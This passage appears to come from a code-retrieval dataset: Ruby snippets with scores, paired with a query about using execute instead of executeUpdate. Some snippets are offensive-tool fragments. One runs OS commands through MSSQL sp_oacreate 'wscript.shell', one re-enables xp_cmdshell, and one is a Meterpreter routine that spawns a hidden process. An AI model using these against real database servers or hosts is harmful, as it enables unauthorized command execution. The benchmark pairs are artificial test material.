print_line(\"\")\n\n # close channel when done\n r.channel.close\n r.close\n\n else\n print_error(\"ABORT: post-module cant find original dll...\")\n print_error(\"original dll: #{d_path}\\\\#{p_name}\")\n print_line(\"\")\n end\n\n # error exception funtion\n rescue ::Exception => e\n print_error(\"Error: #{e.class} #{e}\")\nend", "title": "" }, { "docid": "bf3ff4501bb81f64860841ba5d80a73c", "score": "0.45168734", "text": "def exec_procedure(cmd)\n _print = @verbose =~ /true/i? true : false\n if _print\n puts \"[+] \".green + \"Executing command:\"\n puts \"#{cmd}\"\n end\n \n query = <<~RAWSQL\n DECLARE @toexec INT; \n EXEC sp_oacreate 'wscript.shell', @toexec OUTPUT; \n EXEC sp_oamethod @toexec, 'run', null, '#{cmd}';\n RAWSQL\n end", "title": "" }, { "docid": "a441e8dddb3149edc4aaf212d85e2274", "score": "0.45122272", "text": "def setup(lib_path=nil)\n # Setup the path to the C library\n lib_path ||= \"/Applications/VirtualBox.app/Contents/MacOS/VBoxXPCOMC.dylib\"\n\n # Attach to the interface\n ffi_lib lib_path\n attach_function :VBoxGetXPCOMCFunctions, [:uint], :pointer\n end", "title": "" }, { "docid": "1a677fc1802a61babf86a3a8327d6897", "score": "0.4510262", "text": "def new_process(process)\n ChildProcess.posix_spawn = true if RUBY_PLATFORM == 'java' # Support JRuby.\n if OS.windows?\n ChildProcess.new('cmd.exe', '/c', process)\n else\n ChildProcess.new('sh', '-c', process)\n end\n end", "title": "" }, { "docid": "73a8c5b09f46f8584ae884ca18fee74b", "score": "0.45063663", "text": "def system_execute binary, params\n # Combine the stderr and stdout for long-lived\n # processes so that they are both written to\n # stdout, this allows us to collect these streams\n # without threads or blocking eternally.\n #\n # Thanks to https://github.com/apinstein for this\n # solution.\n #params = \"#{params} \" + '2>&1'\n @process_thread = Sprout.current_system.execute_thread binary, params, prompt do |message|\n yield message if block_given?\n Sprout.stdout.printf message\n @prompted = true if prompt.match message\n end\n @process_runner = process_thread['runner']\n end", "title": "" }, { "docid": "a0ece65a8f95748224aff07cc661a1c8", "score": "0.45032683", "text": "def executeShellCommand(cmd)\n\tpid = fork do\n\t\texec cmd\n\tend\n\n\tProcess.wait pid\nend", "title": "" }, { "docid": "6a83ef8bdd1afb4c3fad54a10df04938", "score": "0.45027515", "text": "def _dylib_wrapper32(prefix = '_dw_')\n\t return '' if @ret._ctype.nil?\n\t lines = []\n\t args = []\n\t targs = []\n\t i = 0\n\t @args.each do |a|\n\t\treturn '' if a._ctype.nil?\n\t\tai = \"_a#{i}\"\n\t\targs << ai\n\t\ttargs << \"#{a._ctype} #{ai}\"\n\t\ti += 1\n\t end\n\t name = \"#{prefix}#{self[:name]}\"\n\t proto = \"#{@ret._ctype} #{name}(#{targs.join(', ')})\"\n\t lines << \"#{proto} __asm(\\\"_#{self[:name]}\\\");\"\n\t lines << \"#{proto} {\"\n\t cline = \" \"\n\t cline << \"return \" unless @ret.type == 'v'\n\t cline << \"#{self[:name]}(#{args.join(', ')});\"\n\t lines << cline\n\t lines << \"}\\n\"\n\t lines.join(\"\\n\")\n\tend", "title": "" }, { "docid": "d58443db91c28169e62223cd2a7c4793", "score": "0.4501156", "text": "def load!\n unless @permanently_loaded\n dll_path = self.class.get_dll_path\n Openeuo::Core::UoDllFfi.class_eval do\n\n ffi_lib dll_path\n\n attach_function :open, 'Open', [ ], :int\n attach_function :close, 'Close', [ :int ], :void\n attach_function :version, 'Version', [ ], :int\n attach_function :push_nil, 'PushNil', [ :int ], :void\n attach_function :push_boolean, 'PushBoolean', [ :int, :bool ], :void\n attach_function :push_integer, 'PushInteger', [ :int, :int ], :void\n attach_function :push_double, 'PushDouble', [ :int, :double ], :void\n attach_function :push_str_ref, 'PushStrRef', [ :int, :string ], :void\n attach_function :push_str_val, 'PushStrVal', [ :int, :string ], :void\n attach_function :get_boolean, 'GetBoolean', [ :int, :int ], :bool\n attach_function :get_integer, 'GetInteger', [ :int, :int ], :int\n attach_function :get_double, 'GetDouble', [ :int, :int ], :double\n attach_function :get_string, 'GetString', [ :int, :int ], :string\n attach_function :get_top, 'GetTop', [ :int ], :int\n attach_function :get_type, 'GetType', [ :int, :int ], :int\n attach_function :insert, 'Insert', [ :int, :int ], :void\n attach_function :push_value, 'PushValue', [ :int, :int ], :void\n attach_function :remove, 'Remove', [ :int, :int ], :void\n attach_function :set_top, 'SetTop', [ :int, :int ], :void\n attach_function :mark, 'Mark', [ ], :void\n attach_function :clean, 'Clean', [ ], :void\n attach_function :execute, 'Execute', [ :int ], :int\n attach_function :query, 'Query', [ :int ], :int\n end\n\n @permanently_loaded = true\n end\n @loaded = true\n\n nil\n end", "title": "" }, { "docid": "71cdaaef84a784baf60389e03e6cc4b5", "score": "0.44987792", "text": "def mssql_xpcmdshell_enable_2000(opts={});\n\t\t\"exec sp_addextendedproc 'xp_cmdshell','xp_log70.dll';exec sp_addextendedproc 'xp_cmdshell', 'C:\\\\Program Files\\\\Microsoft SQL Server\\\\MSSQL\\\\Binn\\\\xplog70.dll';\"\n\tend", "title": "" }, { "docid": "167ddeaceaedea11254c185ff8fd3a6a", "score": "0.44879833", "text": "def create_temp_proc()\r\n\t\twindir = client.fs.file.expand_path(\"%windir%\")\r\n\t\t# Select path of executable to run depending the architecture\r\n\t\tif @payload_arch.first== \"x86\" and client.platform =~ /x86/\r\n\t\t\tcmd = \"#{windir}\\\\System32\\\\notepad.exe\"\r\n\t\telsif @payload_arch.first == \"x86_64\" and client.platform =~ /x64/\r\n\t\t\tcmd = \"#{windir}\\\\System32\\\\notepad.exe\"\r\n\t\telsif @payload_arch.first == \"x86_64\" and client.platform =~ /x86/\r\n\t\t\tcmd = \"#{windir}\\\\Sysnative\\\\notepad.exe\"\r\n\t\telsif @payload_arch.first == \"x86\" and client.platform =~ /x64/\r\n\t\t\tcmd = \"#{windir}\\\\SysWOW64\\\\notepad.exe\"\r\n\t\tend\r\n\r\n\t\tbegin\r\n\t\t\tproc = client.sys.process.execute(cmd, nil, {'Hidden' => true })\r\n\t\trescue Rex::Post::Meterpreter::RequestError\r\n\t\t\treturn nil\r\n\t\tend\r\n\r\n\t\treturn proc.pid\r\n\tend", "title": "" }, { "docid": "09a1ba4ccebe342a58fedb185b462efd", "score": "0.44799507", "text": "def run_command(command_string, options = T.unsafe(nil)); end", "title": "" }, { "docid": "09a1ba4ccebe342a58fedb185b462efd", "score": "0.44799507", "text": "def run_command(command_string, options = T.unsafe(nil)); end", "title": "" }, { "docid": "102c91e285cd7069e9f97b5bb4175907", "score": "0.44759655", "text": "def run(argv = T.unsafe(nil)); end", "title": "" }, { "docid": "a778976f8972885e594f0e6cce57d52c", "score": "0.44756284", "text": "def shell(command_line, &block)\n @system.shell(command_line, &block)\n end", "title": "" }, { "docid": "83e7f77ded770a8db90337f35b58bb0f", "score": "0.446962", "text": "def create_binary(iRootDir, iReleaseDir, iIncludeRuby, iExecutableInfo)\n rSuccess = true\n\n lBinSubDir = \"Launch/#{PLATFORM_ID}/bin\"\n lRubyBaseBinName = nil\n lRubyLaunchCmd = nil\n if (iExecutableInfo[:terminal_application])\n lRubyBaseBinName = 'ruby'\n lRubyLaunchCmd = 'ruby'\n else\n lRubyBaseBinName = 'rubyw'\n lRubyLaunchCmd = 'start rubyw'\n end\n lBinName = \"#{lRubyBaseBinName}-#{RUBY_VERSION}.exe\"\n if (iIncludeRuby)\n # First create the binary containing all ruby\n lBinDir = \"#{iReleaseDir}/#{lBinSubDir}\"\n FileUtils::mkdir_p(lBinDir)\n change_dir(lBinDir) do\n lCmd = nil\n if (iExecutableInfo[:terminal_application])\n lCmd = \"allinoneruby.bat #{lBinName}\"\n else\n lCmd = \"allinoneruby.bat --rubyw #{lBinName}\"\n end\n rSuccess = system(lCmd)\n if (!rSuccess)\n log_err \"Error while executing \\\"#{lCmd}\\\"\"\n end\n end\n end\n if (rSuccess)\n # Then create the real executable\n # Generate the Ruby file that launches everything for Windows\n lTempFileName = \"#{Dir.tmpdir}/EXE_#{PLATFORM_ID}_Gen.rb\"\n File.open(lTempFileName, 'w') do |oFile|\n oFile << \"\n\\#--\n\\# Copyright (c) 2009 - 2012 Muriel Salvan (muriel@x-aeon.com)\n\\# Licensed under the terms specified in LICENSE file. No warranty is provided.\n\\#++\n\n\\# This file is generated by RubyPackager for Windows.\n\\# This is a temporary file that should not exist anymore once the release has been done.\n\n\\# This file has to launch the correct binary. There can be several binaries dependending on the configuration.\n\\# This is the file that will be created as the executable to launch.\n\nmodule RubyPackager\n\n \\# Execute a shell command\n \\#\n \\# Parameters::\n \\# * *iCmd* (_String_): The shell command to execute\n \\# Return::\n \\# * _Boolean_: Success ?\n def self.shellExecute(iCmd)\n puts \\\"> \\#{iCmd}\\\"\n rSuccess = system(iCmd)\n\n if (!rSuccess)\n puts \\\"Error while executing '\\#{iCmd}'\\\"\n end\n\n return rSuccess\n end\n\nend\n\n\\# Test if Ruby is installed\nlSuccess = false\nlCurrentDir = Dir.getwd\nif (system('#{lRubyBaseBinName} --version'))\n \\# Launch directly\n puts \\\"Ruby found in environment. Using it directly.\\\"\n lSuccess = RubyPackager::shellExecute(\\\"#{lRubyLaunchCmd} -w \\\\\\\"\\#{lCurrentDir}/#{iExecutableInfo[:startup_rb_file]}\\\\\\\" \\#{ARGV.join(' ')}\\\")\nend\nif (!lSuccess)\n \\# Use allinoneruby\n puts \\\"Ruby not found in environment. Using shipped Ruby.\\\"\n lSuccess = RubyPackager::shellExecute(\\\"start \\\\\\\"Title\\\\\\\" \\\\\\\"\\#{lCurrentDir}/#{lBinSubDir}/#{lBinName}\\\\\\\" \\\\\\\"\\#{lCurrentDir}/#{iExecutableInfo[:startup_rb_file]}\\\\\\\" \\#{ARGV.join(' ')}\\\")\n if (!lSuccess)\n puts 'Unable to execute the application. Please reinstall it.'\n puts 'Hit enter to quit.'\n $stdin.gets\n end\nend\n\"\n end\n change_dir(iReleaseDir) do\n rSuccess = system(\"exerb.bat -o #{iExecutableInfo[:exe_name]}.exe #{lTempFileName}\")\n end\n if (rSuccess)\n File.unlink(lTempFileName)\n # And set its icon\n lEdiconCmd = \"#{PLATFORM_DIR}/edicon/edicon.exe #{iReleaseDir}/#{iExecutableInfo[:exe_name]}.exe #{iRootDir}/#{iExecutableInfo[:icon_name]}\"\n rSuccess = system(lEdiconCmd)\n if (!rSuccess)\n log_err \"Error while executing \\\"#{lEdiconCmd}\\\"\"\n end\n else\n log_err \"Error while executing \\\"exerb.bat -o #{iExecutableInfo[:exe_name]}.exe #{lTempFileName}\\\"\"\n end\n end\n\n return rSuccess\n end", "title": "" } ]
68eaddfbef636152abe01d276a7eb4d0
Use execute instead of executeUpdate.
[ { "docid": "bf3f61389cc73aa02f162e6ad0622ca1", "score": "0.0", "text": "def execute_prepared_statement_insert(stmt)\n stmt.execute\n end", "title": "" } ]
[ { "docid": "23c1d433f681bd66f43091c1858bce87", "score": "0.74183786", "text": "def execute!\n execute\n end", "title": "" }, { "docid": "da88a55c00f81a3274307f656059e79a", "score": "0.74083453", "text": "def executeUpdate(sql) \n @Handle.execute(sql)\n end", "title": "" }, { "docid": "d8560d90f92f0cde6e25b16f5e24d7a8", "score": "0.7405202", "text": "def exec_update(sql, name, binds)\n exec_query(sql, name, binds)\n end", "title": "" }, { "docid": "d8560d90f92f0cde6e25b16f5e24d7a8", "score": "0.7405202", "text": "def exec_update(sql, name, binds)\n exec_query(sql, name, binds)\n end", "title": "" }, { "docid": "a58e488ff04b15680738de4cf94f504e", "score": "0.73873866", "text": "def exec_update(sql, name, binds)\n if sql.respond_to?(:to_sql)\n sql = to_sql(sql, binds); to_sql = true\n end\n if prepared_statements?\n log(sql, name || 'SQL', binds) { @connection.execute_update(sql, binds) }\n else\n sql = suble_binds(sql, binds) unless to_sql # deprecated behavior\n log(sql, name || 'SQL') { @connection.execute_update(sql) }\n end\n end", "title": "" }, { "docid": "7366239b3cd9fef1638cb59d48040e2e", "score": "0.7323808", "text": "def exec_update(sql, name = nil, binds = [])\n type_casted_binds = type_casted_binds(binds)\n\n log(sql, name, binds, type_casted_binds) do\n with_retry do\n cached = false\n if without_prepared_statement?(binds)\n cursor = @raw_connection.prepare(sql)\n else\n if @statements.key?(sql)\n cursor = @statements[sql]\n else\n cursor = @statements[sql] = @raw_connection.prepare(sql)\n end\n\n cursor.bind_params(type_casted_binds)\n\n cached = true\n end\n\n res = cursor.exec_update\n cursor.close unless cached\n res\n end\n end\n end", "title": "" }, { "docid": "184d7ffceb7f73cdcfbc00ba09f1b824", "score": "0.73216134", "text": "def execute_update(sql)\n\n unit_of_work do |session|\n session.do_work(UpdateWork.new(sql))\n end\n end", "title": "" }, { "docid": "8fc87f67368bde8cd214a4fe696af784", "score": "0.72969764", "text": "def exec_update(sql, name = nil, binds = [])\n internal_exec_query(sql, name, binds)\n end", "title": "" }, { "docid": "ecbb11eb70578a67545de198bd028fc1", "score": "0.7216721", "text": "def exec_update(sql, name = T.unsafe(nil), binds = T.unsafe(nil)); end", "title": "" }, { "docid": "d4e38a102477f43c15a9ae745871ac40", "score": "0.7207235", "text": "def execute_if_updated\n if updated?\n execute\n true\n else\n false\n end\n end", "title": "" }, { "docid": "d4e38a102477f43c15a9ae745871ac40", "score": "0.7207118", "text": "def execute_if_updated\n if updated?\n execute\n true\n else\n false\n end\n end", "title": "" }, { "docid": "59d4b85cc0900135791805b7d1434f2b", "score": "0.71952975", "text": "def execute_if_updated; end", "title": "" }, { "docid": "e60262657fb333216196c846b1888f59", "score": "0.6870238", "text": "def central_execute(query)\n ActiveRecord::Base.connection.execute query\n end", "title": "" }, { "docid": "e60262657fb333216196c846b1888f59", "score": "0.6870238", "text": "def central_execute(query)\n ActiveRecord::Base.connection.execute query\n end", "title": "" }, { "docid": "25ee115c5b99c67e89e0e8578f5a1c6b", "score": "0.6859293", "text": "def _execute(*args)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "1b1d7a46428d25c1b7d39e0100b619bb", "score": "0.6776542", "text": "def base_execute\n execute\n end", "title": "" }, { "docid": "8fbec19e369f1a9d919bafe87eda2421", "score": "0.67611736", "text": "def _execute_position_update!(sql, async: false)\n # The job is handled in the app code\n acts_as_list_class.connection.execute(sql)\n end", "title": "" }, { "docid": "3831d96822217a1c650952fd3ae80d12", "score": "0.67340314", "text": "def execute\n @cmd.execute\n end", "title": "" }, { "docid": "fef56aed97e255a288fffa39c01ca60e", "score": "0.67090636", "text": "def execute(*args)\n on_write { |conn| conn.execute(*args) }\n end", "title": "" }, { "docid": "0d7190167ecb9138d653b42034b7464b", "score": "0.67012286", "text": "def update_sql(sql, name = nil)\n super.cmd_tuples\n end", "title": "" }, { "docid": "9a5fa1cc340fedbf66c538f9590bd6f4", "score": "0.6700399", "text": "def execute\n return performModify(true)\n end", "title": "" }, { "docid": "45edfedf302807a0819654f629ba231a", "score": "0.67000335", "text": "def sql_update(sql)\n exec(sql)\n @conn.affected_rows\n end", "title": "" }, { "docid": "4f0f80e70c3ab40e67c4120fa9aa2bab", "score": "0.6682805", "text": "def execute\n return performModify(true)\n end", "title": "" }, { "docid": "32fb29f75d2cc9419bb1af1758d5ae90", "score": "0.66725135", "text": "def _execute(sql, name = nil)\n @connection.execute(sql)\n end", "title": "" }, { "docid": "32fb29f75d2cc9419bb1af1758d5ae90", "score": "0.66725135", "text": "def _execute(sql, name = nil)\n @connection.execute(sql)\n end", "title": "" }, { "docid": "24a43a595b5c66218c2a5ce6637cbecb", "score": "0.66449636", "text": "def execute(sql)\r\n\t\t@connection.Execute(sql)\r\n\tend", "title": "" }, { "docid": "9f8b7858c9d7b3b161e55d3fca0485aa", "score": "0.6624853", "text": "def execute(sql)\n\t\t@connection.Execute(sql)\n\tend", "title": "" }, { "docid": "217d34f222b9c8a6f1ad21f8c51e480a", "score": "0.66206497", "text": "def execute_dui(sql, opts=OPTS)\n _execute(:update, sql, opts)\n end", "title": "" }, { "docid": "491d60f7d3565bb33ea00f093dc1bfef", "score": "0.6620005", "text": "def execute\n # TODO: Install Ruby/MySQL if the Provider does not give access to it natively.\n return performModify(true)\n end", "title": "" }, { "docid": "3acf53acfe27597811fe0daec27ec212", "score": "0.6612155", "text": "def query(sql, *binds)\n ds = connection.fetch(sql, *binds)\n connection.execute_dui(ds.update_sql) {|c| return c.last_id > 0 ? c.last_id : c.affected_rows}\n end", "title": "" }, { "docid": "ed4a5d4a069d223a61a45e3ff8702cd7", "score": "0.6609207", "text": "def execute(sql) \n @db.execute(sql)\n end", "title": "" }, { "docid": "1a87cbce09883708629b5b3fb9b83b3a", "score": "0.65886945", "text": "def execute query\n ActiveRecord::Base.connection.execute query\n end", "title": "" }, { "docid": "a946294c256fdf6539c37729649f233d", "score": "0.6586564", "text": "def prepare_update_statement(o); end", "title": "" }, { "docid": "a946294c256fdf6539c37729649f233d", "score": "0.6586564", "text": "def prepare_update_statement(o); end", "title": "" }, { "docid": "a39c73e226ea0ac36a13655f32f3624a", "score": "0.6578512", "text": "def update_sql(sql, name = nil)\n super.cmd_tuples\n end", "title": "" }, { "docid": "a39c73e226ea0ac36a13655f32f3624a", "score": "0.6578512", "text": "def update_sql(sql, name = nil)\n super.cmd_tuples\n end", "title": "" }, { "docid": "eb8f91344fec85684e6b7744533cd418", "score": "0.6577361", "text": "def execute(*bind_values)\n t = Time.now\n @executor.execute(*bind_values).tap do |rs|\n rs.info[:execution_time] ||= Time.now - t\n if logger.debug?\n logger.debug(\n \"(%.6f) %s %s\" % [\n rs.execution_time,\n command,\n (\"<Bind: #{bind_values.inspect}>\" unless bind_values.empty?)\n ]\n )\n end\n end\n rescue RDO::Exception => e\n logger.fatal(e.message) if logger.fatal?\n raise\n end", "title": "" }, { "docid": "be2e71a3d96dbc3a3a57b306ce4f7a3e", "score": "0.6566454", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "a527666f0126166571e60612e4c25b27", "score": "0.65632737", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "be2e71a3d96dbc3a3a57b306ce4f7a3e", "score": "0.6563089", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "be2e71a3d96dbc3a3a57b306ce4f7a3e", "score": "0.6563089", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "be2e71a3d96dbc3a3a57b306ce4f7a3e", "score": "0.6563089", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "be2e71a3d96dbc3a3a57b306ce4f7a3e", "score": "0.6563089", "text": "def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateResultSet.new(resp)\n return results\n end", "title": "" }, { "docid": "2818ba20d59774c9eafa86dc74087c3c", "score": "0.6541447", "text": "def execute(sql)\n super\n @database.execute2 sql\n end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.6514082", "text": "def execute; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.6514082", "text": "def execute; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.6514082", "text": "def execute; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.6514082", "text": "def execute; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.6514082", "text": "def execute; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.6514082", "text": "def execute; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.6514082", "text": "def execute; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.6514082", "text": "def execute; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.6514082", "text": "def execute; end", "title": "" }, { "docid": "f35a134a4f2097e60434898297e9dbab", "score": "0.6501861", "text": "def execute(statement)\n connection_model.connection.execute(statement)\n end", "title": "" }, { "docid": "4ba1102ff6ff870ebff57f216dfa2524", "score": "0.64880973", "text": "def exec_update(sql, name, binds)\n if sql =~ /\\AUPDATE (.*) SET (.*)\\z/\n sql = \"ALTER TABLE #{$1} UPDATE #{$2}\"\n end\n exec_update_original(sql, name, binds)\n end", "title": "" }, { "docid": "37c1afa93d7982493fdbe07c65c5a67f", "score": "0.64763784", "text": "def database_execute(query)\n DataMapper.database.execute(query)\n end", "title": "" }, { "docid": "ec2762b82be17b173efcaec9e8d8ab8e", "score": "0.6471083", "text": "def execute(sql)\n @connection.execute(sql)\n end", "title": "" }, { "docid": "dc21e2a25496831477d69f5f1a4a6ccf", "score": "0.6449416", "text": "def execute()\n end", "title": "" }, { "docid": "bdff06e81c91775823d9b01af7a8c54e", "score": "0.6449162", "text": "def execute\n end", "title": "" }, { "docid": "bdff06e81c91775823d9b01af7a8c54e", "score": "0.6449162", "text": "def execute\n end", "title": "" }, { "docid": "5bd2f30c8dad685413f3a6444668c6b8", "score": "0.64420307", "text": "def _execute(sql, name = nil)\n if self.class.select?(sql)\n result = @connection.execute_query(sql)\n result.map! do |r|\n new_hash = {}\n r.each_pair do |k, v|\n new_hash.merge!({ k.downcase => v })\n end\n new_hash\n end if self.class.lowercase_schema_reflection\n result\n elsif self.class.insert?(sql)\n (@connection.execute_insert(sql) || last_insert_id(_table_name_from_insert(sql))).to_i\n else\n @connection.execute_update(sql)\n end\n end", "title": "" }, { "docid": "19c878abb86186406fdf5a631425cf93", "score": "0.6438645", "text": "def _update(sql_or_obj,bind={})\n\n end", "title": "" }, { "docid": "320965acea764888495193383eb4bd3d", "score": "0.6433266", "text": "def _update_sql\n clause_sql(:update)\n end", "title": "" }, { "docid": "4376cdf718086a13eb30fd89eae034c0", "score": "0.6415502", "text": "def execute(sql, opts={}, &block)\n @db.execute(sql, {:server=>@opts[:server] || :read_only}.merge(opts), &block)\n end", "title": "" }, { "docid": "71a3d20aa1eb19316766e343a9265ed9", "score": "0.64005977", "text": "def execute\n execute_as_root do |connection|\n connection.transaction do\n @sql_statements.each do |statement|\n connection.execute(statement)\n end\n end\n end\n end", "title": "" }, { "docid": "ed130775f3d6bd5d07da28cadedb28fc", "score": "0.64002556", "text": "def execute(sql, name = nil)\n log(sql, name) { @last_return_value = @connection.immediate(sql) }\n end", "title": "" }, { "docid": "c6cce22a91111263d5351267ecb9bc3c", "score": "0.6380087", "text": "def execute()\n\t\t\n\tend", "title": "" }, { "docid": "36d2b4c669ba434193622985bc4cde80", "score": "0.6378005", "text": "def execute_query(sql, *vars)\n return @database.execute(sql, vars)\n rescue\n puts \"MySqlite.execute_query(): #{$!}\" if @@verbose\n end", "title": "" }, { "docid": "8adaa21afae6569e0d1f1d52b643748f", "score": "0.6371838", "text": "def run\n execute.ensure_ok!\n end", "title": "" }, { "docid": "cef4d4f67029b7e1f995c298b8890a2d", "score": "0.63615847", "text": "def do_update(query)\n raise NotImplementedError\n end", "title": "" }, { "docid": "30eb8211f0646a65a9465e5bf2fafcc7", "score": "0.63528615", "text": "def execute\n prepare\n super\n end", "title": "" }, { "docid": "18341dbfe61b0142e27efd46acc7314a", "score": "0.63491875", "text": "def execute\n\n end", "title": "" }, { "docid": "e25a02d6e9ad32b1b2b2688e1fcebf5f", "score": "0.6348574", "text": "def execute_if_updated\n if updated?\n yield if block_given?\n execute\n true\n else\n false\n end\n end", "title": "" }, { "docid": "8cb98d91a07e39e6dd0e82464ee63aa2", "score": "0.634833", "text": "def execute(sql, bind_vars = T.unsafe(nil), *args, &block); end", "title": "" }, { "docid": "98cc338eee0de455cd7c78b33fab6a5f", "score": "0.6347756", "text": "def update_direct(sql, name = nil)\n puts_log \"update_direct\"\n if @handle_lobs_triggered #Ensure the array of sql is cleared if they have been handled in the callback\n @sql = []\n @handle_lobs_triggered = false\n end\n\n # Logs and execute the given sql query.\n if stmt = execute(sql, name)\n begin\n @sql << sql\n # Retrieves the number of affected rows\n IBM_DB.num_rows(stmt)\n # Ensures to free the resources associated with the statement\n ensure\n IBM_DB.free_stmt(stmt) if stmt\n end\n end\n end", "title": "" }, { "docid": "5dad86491734ce535b1e2df3b6e10f34", "score": "0.6344997", "text": "def _execute(sql, name = nil)\r\n if sql.lstrip =~ /\\Ainsert/i\r\n @connection.execute_insert(sql)\r\n else\r\n @connection.execute(sql)\r\n end\r\n end", "title": "" }, { "docid": "628b64bff62e1eeb44450f18e1102007", "score": "0.63449687", "text": "def execute\n prepare\n execute_delegate\n end", "title": "" }, { "docid": "5f7776f7344755fdf998ea5df0e5698c", "score": "0.6335484", "text": "def execute(sql) \n return @Handle.execute(sql)\n end", "title": "" }, { "docid": "2e7becdea2d8551b42767c547492b60e", "score": "0.6335142", "text": "def _execute(type, sql, opts, &block)\n if activerecord_raw_connection.respond_to?(:extended_result_codes=)\n activerecord_raw_connection.extended_result_codes = true\n end\n\n if ActiveRecord::VERSION::MAJOR >= 6\n activerecord_connection.materialize_transactions\n end\n\n activerecord_connection.send(:log, sql) do\n activesupport_interlock do\n case type\n when :select\n activerecord_raw_connection.query(sql, &block)\n when :insert\n activerecord_raw_connection.execute(sql)\n activerecord_raw_connection.last_insert_row_id\n when :update\n activerecord_raw_connection.execute_batch(sql)\n activerecord_raw_connection.changes\n end\n end\n end\n rescue ActiveRecord::StatementInvalid => exception\n if exception.cause.is_a?(SQLite3::Exception)\n raise_error(exception.cause)\n else\n raise exception\n end\n end", "title": "" }, { "docid": "c6e3a892363f4acc50ea40dd53895084", "score": "0.6328316", "text": "def executep(sql, mode, *values)\n raise(ArgumentError, \"Bad sql parameter\") unless sql.kind_of?(String)\n raise(ArgumentError, \"Bad mode parameter\") unless %i|insert delete update|.include?(mode)\n Pod4.logger.debug(__FILE__) { \"Parameterised execute #{mode} SQL: #{sql}\" }\n\n @connection.client(self)[sql, *values].send(mode)\n rescue => e\n handle_error(e)\n end", "title": "" }, { "docid": "f9ef849d2614fc3a0976ec001a7cfb7a", "score": "0.6303219", "text": "def connection_execute_method\n :execute_non_query\n end", "title": "" }, { "docid": "9102e68d5865ed5b2f9e08b73632edcc", "score": "0.6301746", "text": "def execute\n api.execute(**to_be_executed)\n end", "title": "" }, { "docid": "fa35d0576d2de3069c72cb79a32463ba", "score": "0.62948114", "text": "def execute(sql, name = nil)\n end", "title": "" }, { "docid": "fa35d0576d2de3069c72cb79a32463ba", "score": "0.62948114", "text": "def execute(sql, name = nil)\n end", "title": "" }, { "docid": "e01fb51ceb002976d776e9de89746465", "score": "0.6292873", "text": "def execute(query)\n executeQuery(query)\n end", "title": "" }, { "docid": "8c4217fade9d0e26687deb0cf0d4a194", "score": "0.62912494", "text": "def execute(*args)\n @connection.exec(*args)\n end", "title": "" }, { "docid": "11bab02e03aaa63a1f3d23ba88926197", "score": "0.6284879", "text": "def update_sql(sql, name = nil)\n execute(sql, name)\n end", "title": "" }, { "docid": "11bab02e03aaa63a1f3d23ba88926197", "score": "0.6284879", "text": "def update_sql(sql, name = nil)\n execute(sql, name)\n end", "title": "" }, { "docid": "8bd64a67b91186e43104bc6c4561668e", "score": "0.62823695", "text": "def execute\n raise NotImplementedError\n end", "title": "" }, { "docid": "8bd64a67b91186e43104bc6c4561668e", "score": "0.62823695", "text": "def execute\n raise NotImplementedError\n end", "title": "" }, { "docid": "1dc1b97eeabe2ee65f13553807434186", "score": "0.6282337", "text": "def execute_query(query)\n @lock.synchronize_shared {\n @executer.execute(query)\n }\n end", "title": "" }, { "docid": "bc599c9c5a015b99354e430d8c6be391", "score": "0.62776846", "text": "def execute(sql)\n if @current == :master || needs_master?(sql)\n master.execute(sql)\n else\n slave.execute(sql)\n end\n end", "title": "" }, { "docid": "68c200f0adad9d952e2decf937f5f137", "score": "0.6276218", "text": "def execute(sql, opts=OPTS, &block)\n db = @db\n if db.sharded?\n opts = Hash[opts]\n opts[:server] = @opts[:server] || (@opts[:lock] ? :default : :read_only)\n opts\n end\n db.execute(sql, opts, &block)\n end", "title": "" }, { "docid": "ee9758edb339209b681a611a8b4099a5", "score": "0.6273299", "text": "def execute(sql, *args)\n # log query and args\n @log.debug('execute') do\n JSON({ sql: sql, args: args })\n end\n\n # exec query\n super(sql, *args)\n end", "title": "" }, { "docid": "994fbb37ae079ced98bc5573558a02c8", "score": "0.6265207", "text": "def update(sql, name = nil) end", "title": "" }, { "docid": "49c5aa83f047002a03ad6d4ef723e88f", "score": "0.626052", "text": "def apply_sql\n @dbi.connection.transaction do\n @sqls.each do |sql|\n @dbi.connection.do(sql)\n end\n end\n end", "title": "" }, { "docid": "274161ff10da5d884a0bc54f74b962ee", "score": "0.62553275", "text": "def execute(sql)\n #@connection.Execute(sql)\n @dbh.execute(sql)\n end", "title": "" }, { "docid": "52790566d5a3fb2b7ec3a0a4bb7ce132", "score": "0.6252973", "text": "def execute\n\t\tif @@verbose\n\t\t\tlog(@query, \"raw sql\")\n\t\tend\n\n\t\t@@client.query(@query)\n\tend", "title": "" }, { "docid": "36c23ec423d35db6752758b516ef96f2", "score": "0.6243663", "text": "def execute(sql, name = nil, async: false)\n sql = transform_query(sql)\n check_if_write_query(sql)\n\n raw_execute(sql, name, async: async)\n end", "title": "" }, { "docid": "6178e1eb8c16cf063f11fce1e6319b68", "score": "0.6240259", "text": "def execute(*bindvars)\n super\n end", "title": "" }, { "docid": "0d73a9854152270f7c6aed964b1ae3fd", "score": "0.62372756", "text": "def execute(sql, args = nil)\n args = args.map { |v| @db.bound_variable_arg(v, self) } if args\n result = check_disconnect_errors { execute_query(sql, args) }\n\n block_given? ? yield(result) : result.cmd_tuples\n ensure\n result.clear if result\n end", "title": "" } ]
83859f2a97c824f1c7c7c6c6b82160ae
